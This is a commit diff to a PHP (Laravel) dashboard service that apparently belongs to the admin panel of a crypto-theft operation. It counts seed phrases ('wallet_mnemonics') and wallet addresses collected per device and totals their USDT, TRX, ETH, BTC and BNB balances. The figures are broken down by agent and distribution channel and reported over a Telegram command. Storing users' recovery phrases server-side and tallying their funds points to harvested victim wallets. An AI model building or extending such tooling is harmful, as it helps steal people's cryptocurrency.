feat: new channel
This commit is contained in:
@@ -5,6 +5,8 @@ namespace App\Services;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -22,14 +24,19 @@ class DashboardStatsService
|
||||
* } $filters
|
||||
* @return array{
|
||||
* total: int,
|
||||
* wallet_count: int,
|
||||
* new_count: int,
|
||||
* active_count: int,
|
||||
* pv: int,
|
||||
* uv: int,
|
||||
* effective_pv: int,
|
||||
* effective_uv: int,
|
||||
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* range: string,
|
||||
* from: string,
|
||||
* to: string
|
||||
@@ -62,8 +69,26 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$walletCount = (clone $base)->where('has_wallet', Device::WALLET_YES)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
$mnemonicCount = $this->countDeviceChildren(
|
||||
WalletMnemonic::query(),
|
||||
'wallet_mnemonics',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
$addressCount = $this->countDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -86,53 +111,151 @@ class DashboardStatsService
|
||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||
$iosPv = (clone $iosVisits)->count();
|
||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
||||
});
|
||||
$otherPv = (clone $otherVisits)->count();
|
||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = [
|
||||
$this->row('iOS', $iosPv, $iosUv, $pv),
|
||||
$this->row('其他', $otherPv, $otherUv, $pv),
|
||||
$this->visitRow('iOS', $iosUv, $uv),
|
||||
$this->visitRow('其他', $otherUv, $uv),
|
||||
];
|
||||
|
||||
$byIosVersion = (clone $iosVisits)
|
||||
$versionGroups = (clone $iosVisits)
|
||||
->select('os_version')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os_version')
|
||||
->orderByDesc('pv')
|
||||
->orderByDesc('uv')
|
||||
->limit(20)
|
||||
->get();
|
||||
// Denominator = sum of per-version UVs (not global DISTINCT).
|
||||
// Same visitor may appear under multiple versions; using DISTINCT total would
|
||||
// make every overlapping bucket show ~100%.
|
||||
$versionUvSum = (int) $versionGroups->sum('uv');
|
||||
$byIosVersion = $versionGroups
|
||||
->map(fn ($r) => $this->visitRow(
|
||||
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
|
||||
(int) $r->uv,
|
||||
$versionUvSum > 0 ? $versionUvSum : $iosUv,
|
||||
))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
$byDeviceIosVersion = (clone $base)
|
||||
->select('ios_version')
|
||||
->selectRaw('COUNT(*) as cnt')
|
||||
->groupBy('ios_version')
|
||||
->orderByDesc('cnt')
|
||||
->limit(20)
|
||||
->get()
|
||||
->map(fn ($r) => $this->row(
|
||||
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
|
||||
(int) $r->pv,
|
||||
(int) $r->uv,
|
||||
$iosPv > 0 ? $iosPv : $pv,
|
||||
))
|
||||
->map(function ($r) use ($total) {
|
||||
$label = trim((string) ($r->ios_version ?? ''));
|
||||
|
||||
return $this->deviceRow(
|
||||
$label !== '' ? $label : '未知',
|
||||
(int) $r->cnt,
|
||||
$total,
|
||||
);
|
||||
})
|
||||
->values()
|
||||
->all();
|
||||
|
||||
return [
|
||||
'total' => $total,
|
||||
'wallet_count' => $walletCount,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'effective_pv' => $effectivePv,
|
||||
'effective_uv' => $effectiveUv,
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
'address_count' => $addressCount,
|
||||
'balances' => $balances,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'by_device_ios_version' => $byDeviceIosVersion,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Join a device-child table and apply the same channel / agent scope as device totals.
|
||||
*/
|
||||
private function scopedDeviceChildren(
|
||||
Builder $query,
|
||||
string $table,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
): Builder {
|
||||
$query->join('devices', 'devices.id', '=', $table.'.device_id');
|
||||
AgentScope::applyDeviceChannelScope($query, $agent);
|
||||
if ($agent === null) {
|
||||
AgentScope::applyAgentUserFilter($query, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$query->where('devices.channel_id', $channelId);
|
||||
} else {
|
||||
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
|
||||
return $query;
|
||||
}
|
||||
|
||||
private function countDeviceChildren(
|
||||
Builder $query,
|
||||
string $table,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
): int {
|
||||
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
|
||||
->count($table.'.id');
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum coin columns across wallet_addresses for devices in the same scope as dashboard totals.
|
||||
* Not limited by the time range (current holdings).
|
||||
*
|
||||
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
|
||||
*/
|
||||
private function sumBalances(?User $agent, ?int $agentUserId, string $channelId, bool $channelExact): array
|
||||
{
|
||||
$q = $this->scopedDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
|
||||
$selects = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||
}
|
||||
$row = $q->selectRaw(implode(', ', $selects))->first();
|
||||
|
||||
$out = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $row?->{$col} ?? 0;
|
||||
$formatted = WalletAddress::formatAmount($col, $raw);
|
||||
$out[$col] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
@@ -209,17 +332,32 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, pv: int, uv: int, pct: float}
|
||||
* Visit breakdown row. pct = uv / $totalUv (UV share).
|
||||
*
|
||||
* @return array{label: string, uv: int, pct: float}
|
||||
*/
|
||||
private function row(string $label, int $pv, int $uv, int $totalPv): array
|
||||
private function visitRow(string $label, int $uv, int $totalUv): array
|
||||
{
|
||||
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0;
|
||||
$pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
|
||||
|
||||
return [
|
||||
'label' => $label,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'pct' => $pct,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, count: int, pct: float}
|
||||
*/
|
||||
private function deviceRow(string $label, int $count, int $total): array
|
||||
{
|
||||
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
|
||||
|
||||
return [
|
||||
'label' => $label,
|
||||
'count' => $count,
|
||||
'pct' => $pct,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user